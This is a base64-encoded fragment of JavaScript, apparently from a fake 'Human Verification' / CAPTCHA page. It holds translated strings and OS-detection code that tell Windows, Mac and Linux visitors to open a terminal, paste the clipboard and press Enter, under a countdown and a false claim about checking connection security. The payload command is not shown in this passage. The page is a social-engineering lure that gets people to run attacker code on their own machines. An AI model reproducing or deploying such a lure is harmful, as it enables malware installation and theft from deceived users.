3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIGRlOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0ZcdTAwZmNocmVuIFNpZSBkaWUgU2Nocml0dGUgYXVmIElocmVyIE1hYy1UYXN0YXR1ciBkdXJjaCcsc3RlcDE6JzxiPkNtZCArIFNwYWNlPC9iPicsc3RlcDI6JzxiPlRlcm1pbmFsPC9iPicsc3RlcDJDaGlwOidkYW5uIEVudGVyIGRyXHUwMGZjY2tlbicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0RpZSBDbWQtVGFzdGUgKFx1MjMxOCkgYmVmaW5kZXQgc2ljaCBuZWJlbiBkZXIgTGVlcnRhc3RlLiBEclx1MDBmY2NrZW4gU2llIENtZCtMZWVydGFzdGUgZlx1MDBmY3IgU3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIGZyOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0VmZmVjdHVleiBsZXMgXHUwMGU5dGFwZXMgc3VyIHZvdHJlIGNsYXZpZXIgTWFjJyxzdGVwMTonPGI+Q21kICsgRXNwYWNlPC9iPicsc3RlcDI6JzxiPlRlcm1pbmFsPC9iPicsc3RlcDJDaGlwOidwdWlzIEVudHJcdTAwZTllJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRyXHUwMGU5ZSBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonTGEgdG91Y2hlIENtZCAoXHUyMzE4KSBlc3QgXHUwMGUwIGNcdTAwZjR0XHUwMGU5IGRlIGxhIGJhcnJlIGRcdTIwMTllc3BhY2UuIENtZCtFc3BhY2Ugb3V2cmUgU3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIGVzOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1JlYWxpemEgbG9zIHBhc29zIGVuIHR1IHRlY2xhZG8gTWFjJyxzdGVwMTonPGI+Q21kICsgRXNwYWNpbzwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDonbHVlZ28gRW50ZXInLHN0ZXAzOic8Yj5DbWQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidMYSB0ZWNsYSBDbWQgKFx1MjMxOCkgZXN0XHUwMGUxIGp1bnRvIGEgbGEgYmFycmEgZXNwYWNpYWRvcmEuIENtZCtFc3BhY2lvIGFicmUgU3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIGl0OiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0VzZWd1aSBpIHBhc3NhZ2dpIHN1bGxhIHRhc3RpZXJhIE1hYycsc3RlcDE6JzxiPkNtZCArIFNwYXppbzwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDoncG9pIEludmlvJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5JbnZpbyBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonSWwgdGFzdG8gQ21kIChcdTIzMTgpIFx1MDBlOCBhY2NhbnRvIGFsbGEgYmFycmEgc3BhemlhdHJpY2UuIENtZCtTcGF6aW8gYXByZSBTcG90bGlnaHQuJ30sDQogICAgICAgICAgICAgICAgcHQ6IHtrZXlib2FyZEluc3RydWN0aW9uczonRXhlY3V0ZSBhcyBldGFwYXMgbm8gdGVjbGFkbyBNYWMnLHN0ZXAxOic8Yj5DbWQgKyBFc3BhXHUwMGU3bzwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDonZGVwb2lzIEVudGVyJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQSB0ZWNsYSBDbWQgKFx1MjMxOCkgZXN0XHUwMGUxIGFvIGxhZG8gZGEgYmFycmEgZGUgZXNwYVx1MDBlN28uIENtZCtFc3BhXHUwMGU3byBhYnJlIG8gU3BvdGxpZ2h0Lid9LA0KICAgICAgICAgICAgICAgIHpoOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1OGJmN1x1NTcyOCBNYWMgXHU5NTJlXHU3NmQ4XHU0ZTBhXHU2MjY3XHU4ODRjXHU0ZWU1XHU0ZTBiXHU2YjY1XHU5YWE0JyxzdGVwMTonPGI+Q21kICsgU3BhY2U8L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J1x1NzEzNlx1NTQwZVx1NjMwOSBFbnRlcicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J1x1MjMxOCAoQ29tbWFuZCkgXHU5NTJlXHU1NzI4XHU3YTdhXHU2ODNjXHU5NTJlXHU2NWMxXHUzMDAyXHU2MzA5IENtZCtTcGFjZSBcdTYyNTNcdTVmMDAgU3BvdGxpZ2h0XHUzMDAyJ30sDQogICAgICAgICAgICAgICAgamE6IHtrZXlib2FyZEluc3RydWN0aW9uczonTWFjXHUzMDZlXHUzMGFkXHUzMGZjXHUzMGRjXHUzMGZjXHUzMGM5XHUzMDY3XHU2MjRiXHU5ODA2XHUzMDkyXHU1YjlmXHU4ODRjXHUzMDU3XHUzMDY2XHUzMDRmXHUzMDYwXHUzMDU1XHUzMDQ0JyxzdGVwMTonPGI+Q21kICsgU3BhY2U8L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J0VudGVyXHUzMDkyXHU2MmJjXHUzMDU5JyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonXHUyMzE4IChDb21tYW5kKSBcdTMwYWRcdTMwZmNcdTMwNmZcdTMwYjlcdTMwZGFcdTMwZmNcdTMwYjlcdTMwYWRcdTMwZmNcdTMwNmVcdTk2YTNcdTMwNjdcdTMwNTlcdTMwMDJDbWQrU3BhY2VcdTMwNjcgU3BvdGxpZ2h0IFx1MzA5Mlx1OTU4Ylx1MzA0ZFx1MzA3ZVx1MzA1OVx1MzAwMid9LA0KICAgICAgICAgICAgICAgIGtvOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J01hYyBcdWQwYTRcdWJjZjRcdWI0ZGNcdWM1ZDBcdWMxMWMgXHViMmU4XHVhY2M0XHViOTdjIFx1YzIxOFx1ZDU4OVx1ZDU1OFx1YzEzOFx1YzY5NCcsc3RlcDE6JzxiPkNtZCArIFNwYWNlPC9iPicsc3RlcDI6JzxiPlRlcm1pbmFsPC9iPicsc3RlcDJDaGlwOidcdWM3ODVcdWI4MjUgXHVkNmM0IEVudGVyJyxzdGVwMzonPGI+Q21kICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonXHUyMzE4KENvbW1hbmQpIFx1ZDBhNFx1YjI5NCBcdWMyYTRcdWQzOThcdWM3NzRcdWMyYTRcdWJjMTQgXHVjNjJjXHViODZkXHVjNWQwIFx1Yzc4OFx1YzJiNVx1YjJjOFx1YjJlNC4gQ21kK1NwYWNlXHViODVjIFNwb3RsaWdodFx1Yzc0NCBcdWM1ZmRcdWIyYzhcdWIyZTQuJ30sDQogICAgICAgICAgICAgICAgdHI6IHtrZXlib2FyZEluc3RydWN0aW9uczonQWRcdTAxMzFtbGFyXHUwMTMxIE1hYyBrbGF2eWVuaXpkZSBnZXJcdTAwZTdla2xlXHUwMTVmdGlyaW4nLHN0ZXAxOic8Yj5DbWQgKyBTcGFjZTwvYj4nLHN0ZXAyOic8Yj5UZXJtaW5hbDwvYj4nLHN0ZXAyQ2hpcDonc29ucmEgRW50ZXInLHN0ZXAzOic8Yj5DbWQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidcdTIzMTggKENvbW1hbmQpIHR1XHUwMTVmdSBib1x1MDE1Zmx1ayB0dVx1MDE1ZnVudW4geWFuXHUwMTMxbmRhZFx1MDEzMXIuIENtZCtTcGFjZSBTcG90bGlnaHRcdTIwMTlcdTAxMzEgYVx1MDBlN2FyLid9LA0KICAgICAgICAgICAgICAgIGFyOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1MDY0Nlx1MDY0MVx1MDY1MVx1MDYzMCBcdTA2MjdcdTA2NDRcdTA2MmVcdTA2MzdcdTA2NDhcdTA2MjdcdTA2MmEgXHUwNjM5XHUwNjQ0XHUwNjQ5IFx1MDY0NFx1MDY0OFx1MDYyZFx1MDYyOSBcdTA2NDVcdTA2NDFcdTA2MjdcdTA2MmFcdTA2NGFcdTA2MmQgTWFjJyxzdGVwMTonPGI+Q21kICsgU3BhY2U8L2I+JyxzdGVwMjonPGI+VGVybWluYWw8L2I+JyxzdGVwMkNoaXA6J1x1MDYyYlx1MDY0NSBFbnRlcicsc3RlcDM6JzxiPkNtZCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J1x1MDY0NVx1MDY0MVx1MDYyYVx1MDYyN1x1MDYyZCBcdTIzMTggKENvbW1hbmQpIFx1MDYyOFx1MDYyY1x1MDYyN1x1MDY0Nlx1MDYyOCBcdTA2NDVcdTA2NDNcdTA2MjdcdTA2NDYgXHUwNjI3XHUwNjQ0XHUwNjQ1XHUwNjMzXHUwNjI3XHUwNjQxXHUwNjI5LiBDbWQrU3BhY2UgXHUwNjRhXHUwNjQxXHUwNjJhXHUwNjJkIFNwb3RsaWdodC4nfQ0KICAgICAgICAgICAgfSwNCiAgICAgICAgICAgIGxpbnV4OiB7DQogICAgICAgICAgICAgICAgZW46IHtrZXlib2FyZEluc3RydWN0aW9uczonUGVyZm9ybSB0aGUgc3RlcHMgb24geW91ciBMaW51eCBrZXlib2FyZCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidvciBvcGVuIFRlcm1pbmFsIGZyb20gbWVudScsc3RlcDM6JzxiPkN0cmwgKyBTaGlmdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1Qgb3BlbnMgVGVybWluYWwgb24gVWJ1bnR1LCBHTk9NRSwgS0RFLCBhbmQgbW9zdCBMaW51eCBkZXNrdG9wcy4nfSwNCiAgICAgICAgICAgICAgICBkZToge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidGXHUwMGZjaHJlbiBTaWUgZGllIFNjaHJpdHRlIGF1ZiBJaHJlciBMaW51eC1UYXN0YXR1ciBkdXJjaCcsc3RlcDE6JzxiPlN0cmcgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidvZGVyIFRlcm1pbmFsIFx1MDBmY2JlciBkYXMgTWVuXHUwMGZjIFx1MDBmNmZmbmVuJyxzdGVwMzonPGI+U3RyZyArIFVtc2NoYWx0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonU3RyZytBbHQrVCBcdTAwZjZmZm5ldCBkYXMgVGVybWluYWwgdW50ZXIgVWJ1bnR1LCBHTk9NRSwgS0RFIHVuZCBkZW4gbWVpc3RlbiBMaW51eC1EZXNrdG9wcy4nfSwNCiAgICAgICAgICAgICAgICBmcjoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidFZmZlY3R1ZXogbGVzIFx1MDBlOXRhcGVzIHN1ciB2b3RyZSBjbGF2aWVyIExpbnV4JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J291IG91dnJleiBUZXJtaW5hbCBkZXB1aXMgbGUgbWVudScsc3RlcDM6JzxiPkN0cmwgKyBNYWogKyBWPC9iPicsc3RlcDQ6JzxiPkVudHJcdTAwZTllIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidDdHJsK0FsdCtUIG91dnJlIGxlIHRlcm1pbmFsIHN1ciBVYnVudHUsIEdOT01FLCBLREUgZXQgbGEgcGx1cGFydCBkZXMgYnVyZWF1eCBMaW51eC4nfSwNCiAgICAgICAgICAgICAgICBlczoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidSZWFsaXphIGxvcyBwYXNvcyBlbiB0dSB0ZWNsYWRvIExpbnV4JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J28gYWJyZSBUZXJtaW5hbCBkZXNkZSBlbCBtZW5cdTAwZmEnLHN0ZXAzOic8Yj5DdHJsICsgTWF5XHUwMGZhcyArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1QgYWJyZSBsYSB0ZXJtaW5hbCBlbiBVYnVudHUsIEdOT01FLCBLREUgeSBsYSBtYXlvclx1MDBlZGEgZGUgZXNjcml0b3Jpb3MgTGludXguJ30sDQogICAgICAgICAgICAgICAgaXQ6IHtrZXlib2FyZEluc3RydWN0aW9uczonRXNlZ3VpIGkgcGFzc2FnZ2kgc3VsbGEgdGFzdGllcmEgTGludXgnLHN0ZXAxOic8Yj5DdHJsICsgQWx0ICsgVDwvYj4nLHN0ZXAyOicnLHN0ZXAyQ2hpcDonbyBhcHJpIFRlcm1pbmFsIGRhbCBtZW51JyxzdGVwMzonPGI+Q3RybCArIE1haXVzYyArIFY8L2I+JyxzdGVwNDonPGI+SW52aW8gXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1QgYXByZSBpbCB0ZXJtaW5hbGUgc3UgVWJ1bnR1LCBHTk9NRSwgS0RFIGUgbGEgbWFnZ2lvciBwYXJ0ZSBkZWkgZGVza3RvcCBMaW51eC4nfSwNCiAgICAgICAgICAgICAgICBwdDoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidFeGVjdXRlIGFzIGV0YXBhcyBubyB0ZWNsYWRvIExpbnV4JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J291IGFicmEgbyBUZXJtaW5hbCBwZWxvIG1lbnUnLHN0ZXAzOic8Yj5DdHJsICsgU2hpZnQgKyBWPC9iPicsc3RlcDQ6JzxiPkVudGVyIFx1MjFiNTwvYj4nLHN0ZXBLZXlIZWxwOidDdHJsK0FsdCtUIGFicmUgbyB0ZXJtaW5hbCBubyBVYnVudHUsIEdOT01FLCBLREUgZSBuYSBtYWlvcmlhIGRvcyBkZXNrdG9wcyBMaW51eC4nfSwNCiAgICAgICAgICAgICAgICB6aDoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidcdThiZjdcdTU3MjggTGludXggXHU5NTJlXHU3NmQ4XHU0ZTBhXHU2MjY3XHU4ODRjXHU0ZWU1XHU0ZTBiXHU2YjY1XHU5YWE0JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J1x1NjIxNlx1NGVjZVx1ODNkY1x1NTM1NVx1NjI1M1x1NWYwMCBUZXJtaW5hbCcsc3RlcDM6JzxiPkN0cmwgKyBTaGlmdCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicsc3RlcEtleUhlbHA6J0N0cmwrQWx0K1QgXHU1M2VmXHU1NzI4IFVidW50dVx1MzAwMUdOT01FXHUzMDAxS0RFIFx1N2I0OVx1NTkyN1x1NTkxYVx1NjU3MCBMaW51eCBcdTY4NGNcdTk3NjJcdTRlMGFcdTYyNTNcdTVmMDBcdTdlYzhcdTdhZWZcdTMwMDInfSwNCiAgICAgICAgICAgICAgICBqYToge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidMaW51eFx1MzA2ZVx1MzBhZFx1MzBmY1x1MzBkY1x1MzBmY1x1MzBjOVx1MzA2N1x1NjI0Ylx1OTgwNlx1MzA5Mlx1NWI5Zlx1ODg0Y1x1MzA1N1x1MzA2Nlx1MzA0Zlx1MzA2MFx1MzA1NVx1MzA0NCcsc3RlcDE6JzxiPkN0cmwgKyBBbHQgKyBUPC9iPicsc3RlcDI6Jycsc3RlcDJDaGlwOidcdTMwN2VcdTMwNWZcdTMwNmZcdTMwZTFcdTMwY2JcdTMwZTVcdTMwZmNcdTMwNGJcdTMwODkgVGVybWluYWwgXHUzMDkyXHU5NThiXHUzMDRmJyxzdGVwMzonPGI+Q3RybCArIFNoaWZ0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVCBcdTMwNjcgVWJ1bnR1XHUzMDAxR05PTUVcdTMwMDFLREUgXHU3YjQ5XHUzMDZlXHU1OTI3XHUzMDRkXHUzMDZhIExpbnV4IFx1MzBjN1x1MzBiOVx1MzBhZlx1MzBjOFx1MzBjM1x1MzBkN1x1MzA2N1x1MzBiZlx1MzBmY1x1MzBkZlx1MzBjYVx1MzBlYlx1MzA5Mlx1OTU4Ylx1MzA0ZFx1MzA3ZVx1MzA1OVx1MzAwMid9LA0KICAgICAgICAgICAgICAgIGtvOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0xpbnV4IFx1ZDBhNFx1YmNmNFx1YjRkY1x1YzVkMFx1YzExYyBcdWIyZThcdWFjYzRcdWI5N2MgXHVjMjE4XHVkNTg5XHVkNTU4XHVjMTM4XHVjNjk0JyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J1x1YjYxMFx1YjI5NCBcdWJhNTRcdWIyNzRcdWM1ZDBcdWMxMWMgVGVybWluYWwgXHVjMmU0XHVkNTg5JyxzdGVwMzonPGI+Q3RybCArIFNoaWZ0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVFx1YjI5NCBVYnVudHUsIEdOT01FLCBLREUgXHViNGYxIFx1YjMwMFx1YmQ4MFx1YmQ4NFx1Yzc1OCBMaW51eCBcdWIzNzBcdWMyYTRcdWQwNmNcdWQxYjFcdWM1ZDBcdWMxMWMgXHVkMTMwXHViYmY4XHViMTEwXHVjNzQ0IFx1YzVmZFx1YjJjOFx1YjJlNC4nfSwNCiAgICAgICAgICAgICAgICB0cjoge2tleWJvYXJkSW5zdHJ1Y3Rpb25zOidBZFx1MDEzMW1sYXJcdTAxMzEgTGludXgga2xhdnllbml6ZGUgZ2VyXHUwMGU3ZWtsZVx1MDE1ZnRpcmluJyxzdGVwMTonPGI+Q3RybCArIEFsdCArIFQ8L2I+JyxzdGVwMjonJyxzdGVwMkNoaXA6J3ZleWEgbWVuXHUwMGZjZGVuIFRlcm1pbmFsIGFcdTAwZTdcdTAxMzFuJyxzdGVwMzonPGI+Q3RybCArIFNoaWZ0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVCwgVWJ1bnR1LCBHTk9NRSwgS0RFIHZlIFx1MDBlN29cdTAxMWZ1IExpbnV4IG1hc2FcdTAwZmNzdFx1MDBmY25kZSB0ZXJtaW5hbGkgYVx1MDBlN2FyLid9LA0KICAgICAgICAgICAgICAgIGFyOiB7a2V5Ym9hcmRJbnN0cnVjdGlvbnM6J1x1MDY0Nlx1MDY0MVx1MDY1MVx1MDYzMCBcdTA2MjdcdTA2NDRcdTA2MmVcdTA2MzdcdTA2NDhcdTA2MjdcdTA2MmEgXHUwNjM5XHUwNjQ0XHUwNjQ5IFx1MDY0NFx1MDY0OFx1MDYyZFx1MDYyOSBcdTA2NDVcdTA2NDFcdTA2MjdcdTA2MmFcdTA2NGFcdTA2MmQgTGludXgnLHN0ZXAxOic8Yj5DdHJsICsgQWx0ICsgVDwvYj4nLHN0ZXAyOicnLHN0ZXAyQ2hpcDonXHUwNjIzXHUwNjQ4IFx1MDYyN1x1MDY0MVx1MDYyYVx1MDYyZCBUZXJtaW5hbCBcdTA2NDVcdTA2NDYgXHUwNjI3XHUwNjQ0XHUwNjQyXHUwNjI3XHUwNjI2XHUwNjQ1XHUwNjI5JyxzdGVwMzonPGI+Q3RybCArIFNoaWZ0ICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+JyxzdGVwS2V5SGVscDonQ3RybCtBbHQrVCBcdTA2NGFcdTA2NDFcdTA2MmFcdTA2MmQgXHUwNjI3XHUwNjQ0XHUwNjM3XHUwNjMxXHUwNjQ1XHUwNjRhXHUwNjMyXHUwNjI3XHUwNjQ0IFx1MDYzOVx1MDY0NFx1MDY0OSBVYnVudHUgXHUwNjQ4IEdOT01FIFx1MDY0OCBLREUgXHUwNjQ4XHUwNjQ1XHUwNjM5XHUwNjM4XHUwNjQ1IFx1MDYyM1x1MDYzM1x1MDYzN1x1MDYyZCBMaW51eC4nfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9Ow0KDQogICAgICAgIHZhciBTVVBQT1JURURfTEFOR1MgPSBbJ2VuJywgJ2RlJywgJ2ZyJywgJ2VzJywgJ2l0JywgJ3B0JywgJ3poJywgJ2phJywgJ2tvJywgJ3RyJywgJ2FyJ107DQoNCiAgICAgICAgZnVuY3Rpb24gZ2V0QnJvd3Nlckxhbmd1YWdlQ29kZSgpIHsNCiAgICAgICAgICAgIHZhciBicm93c2VyTGFuZ3VhZ2VzID0gKG5hdmlnYXRvci5sYW5ndWFnZXMgJiYgbmF2aWdhdG9yLmxhbmd1YWdlcy5sZW5ndGggPw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbmF2aWdhdG9yLmxhbmd1YWdlcyA6DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBbbmF2aWdhdG9yLmxhbmd1YWdlIHx8ICdlbiddKQ0KICAgICAgICAgICAgICAgIC5tYXAoZnVuY3Rpb24obGFuZykgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gU3RyaW5nKGxhbmcgfHwgJycpLnRvTG93ZXJDYXNlKCkuc3BsaXQoJy0nKVswXTsNCiAgICAgICAgICAgICAgICB9KTsNCg0KICAgICAgICAgICAgZm9yICh2YXIgaSA9IDA7IGkgPCBicm93c2VyTGFuZ3VhZ2VzLmxlbmd0aDsgaSsrKSB7DQogICAgICAgICAgICAgICAgaWYgKFNVUFBPUlRFRF9MQU5HUy5pbmRleE9mKGJyb3dzZXJMYW5ndWFnZXNbaV0pICE9PSAtMSkgew0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gYnJvd3Nlckxhbmd1YWdlc1tpXTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIHJldHVybiAnZW4nOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gbWVyZ2VPc0luc3RydWN0aW9uU3RlcHMoc3RyaW5ncywgbGFuZ0NvZGUpIHsNCiAgICAgICAgICAgIHZhciBvcyA9IFRBUkdFVF9PUEVSQVRJTkdfU1lTVEVNIHx8IGRldGVjdFZpc2l0b3JPcygpOw0KICAgICAgICAgICAgaWYgKG9zID09PSAnd2luZG93cycpIHsNCiAgICAgICAgICAgICAgICBzdHJpbmdzLnN0ZXBLZXlIZWxwID0gc3RyaW5ncy53aW5kb3dzS2V5SGVscDsNCiAgICAgICAgICAgICAgICByZXR1cm4gc3RyaW5nczsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgdmFyIHBhY2sgPSBPU19JTlNUUlVDVElPTl9QQUNLU1tvc107DQogICAgICAgICAgICBpZiAoIXBhY2spIHsNCiAgICAgICAgICAgICAgICBzdHJpbmdzLnN0ZXBLZXlIZWxwID0gc3RyaW5ncy53aW5kb3dzS2V5SGVscDsNCiAgICAgICAgICAgICAgICByZXR1cm4gc3RyaW5nczsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgdmFyIG92ZXJsYXkgPSBwYWNrW2xhbmdDb2RlXSB8fCBwYWNrLmVuOw0KICAgICAgICAgICAgaWYgKCFvdmVybGF5KSB7DQogICAgICAgICAgICAgICAgc3RyaW5ncy5zdGVwS2V5SGVscCA9IHN0cmluZ3Mud2luZG93c0tleUhlbHA7DQogICAgICAgICAgICAgICAgcmV0dXJuIHN0cmluZ3M7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGZvciAodmFyIGtleSBpbiBvdmVybGF5KSB7DQogICAgICAgICAgICAgICAgaWYgKG92ZXJsYXkuaGFzT3duUHJvcGVydHkoa2V5KSkgew0KICAgICAgICAgICAgICAgICAgICBzdHJpbmdzW2tleV0gPSBvdmVybGF5W2tleV07DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICBzdHJpbmdzLnN0ZXBLZXlIZWxwID0gb3ZlcmxheS5zdGVwS2V5SGVscCB8fCBzdHJpbmdzLndpbmRvd3NLZXlIZWxwOw0KICAgICAgICAgICAgcmV0dXJuIHN0cmluZ3M7DQogICAgICAgIH0NCg0KICAgICAgICBmdW5jdGlvbiBidWlsZFN0ZXAySHRtbCh0cmFuc2xhdGlvbnMpIHsNCiAgICAgICAgICAgIHZhciBodG1sID0gdHJhbnNsYXRpb25zLnN0ZXAyIHx8ICcnOw0KICAgICAgICAgICAgaWYgKHRyYW5zbGF0aW9ucy5zdGVwMkNoaXApIHsNCiAgICAgICAgICAgICAgICBodG1sICs9ICc8c3BhbiBjbGFzcz0idGVybS1jaGlwIj4nICsgdHJhbnNsYXRpb25zLnN0ZXAyQ2hpcCArICc8L3NwYW4+JzsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIHJldHVybiBodG1sOw0KICAgICAgICB9DQoNCiAgICAgICAgZnVuY3Rpb24gZ2V0VHJhbnNsYXRlZFN0cmluZ3MoKSB7DQogICAgICAgICAgICB2YXIgdHJhbnNsYXRpb25zID0ge2VuOntub3RSb2JvdFRleHQ6IkknbSBub3QgYSByb2JvdCIsdmVyaWZ5aW5nVGV4dDonVmVyaWZ5aW5nLi4uJyx2ZXJpZmljYXRpb25UaXRsZTonSHVtYW4gVmVyaWZpY2F0aW9uJyx2ZXJpZmljYXRpb25TdWJ0aXRsZTonQ29tcGxldGUgdGhlIHN0ZXBzIGJlbG93JyxrZXlib2FyZEluc3RydWN0aW9uczonUGVyZm9ybSB0aGUgc3RlcHMgb24geW91ciBrZXlib2FyZCcsdGltZVJlbWFpbmluZzonVGltZSBSZW1haW5pbmcnLHdhcm5pbmczMFNlY29uZHM6J0xlc3MgdGhhbiAzMCBzZWNvbmRzIHJlbWFpbmluZyEnLHN0ZXAxOic8Yj4nK1dJTkRPV1NfTE9HT19TVkcrJyArIFg8L2I+JyxzdGVwMjonPGI+STwvYj4nLHN0ZXAyQ2hpcDonb3IgY2hvb3NlIFRlcm1pbmFsJyxzdGVwMzonPGI+Q3RybCArIFY8L2I+JyxzdGVwNDonPGI+RW50ZXIgXHUyMWI1PC9iPicscHJpdmFjeUxpbms6J1ByaXZhY3knLHRlcm1zTGluazonVGVybXMnLHNlY3VyaXR5TWVzc2FnZTonbmVlZHMgdG8gcmV2aWV3IHRoZSBzZWN1cml0eSBvZiB5b3VyIGNvbm5lY3Rpb24gYmVmb3JlIHByb2NlZWRpbmcuJyx3aW5kb3dzS2V5SGVscDonVGhpcyBpcyB0aGUgV2luZG93cyBrZXksIGxvY2F0ZWQgYXQgdGhlIGJvdHRvbSBvZiB5b3VyIGtleWJvYXJkIGJldHdlZW4gQ3RybCBhbmQgQWx0LCB1bmRlciB0aGUgWiBrZXknfSxkZTp7bm90Um9ib3RUZXh0OidJY2ggYmluIGtlaW4gUm9ib3RlcicsdmVyaWZ5aW5nVGV4dDonXHUwMGRjYmVycHJcdTAwZmNmdW5nXHUyMDI2Jyx2ZXJpZmljYXRpb25UaXRsZTonTWVuc2NobGljaGUgVmVyaWZpemllcnVuZycsdmVyaWZpY2F0aW9uU3VidGl0bGU6J0ZcdTAwZmNocmVuIFNpZSBkaWUgZm9sZ2VuZGVuIFNjaHJpdHRlIGF1cycsa2V5Ym9hcmRJbnN0cnVjdGlvbnM6J0ZcdTAwZmNocmVuIFNpZSBkaWUgU2Nocml0dGUgYXVmIElocmVyIFRhc3RhdHVyIGR1cmNoJyx0aW1lUmVtYWluaW5nOidWZXJibGVpYmVuZGUgWmVpdCcsd2FybmluZzMwU2Vjb25kczonV2VuaWdlciBhbHMgMzAgU2VrdW5kZW4hJyxzdGVwMTonPGI+JytXSU5ET1dTX0xPR09fU1ZHKycgKyBYPC9iPicsc3RlcDI6JzxiPkk8L2I+JyxzdGVwMkNoaXA6J29kZXIgVGVybWluYWwnLHN0ZXAzOic8Yj5TdHJnICsgVjwvYj4nLHN0ZXA0Oic8Yj5FbnRlciBcdTIxYjU8L2I+Jyxwcml2YWN5TGluazonRGF0ZW5zY2h1dHonLHRlcm1zTGluazonQmVkaW5ndW5nZW4nLHNlY3VyaXR5TWVzc2FnZTonbXVzcyBkaWUgU2ljaGVyaGVpdCBJaHJlci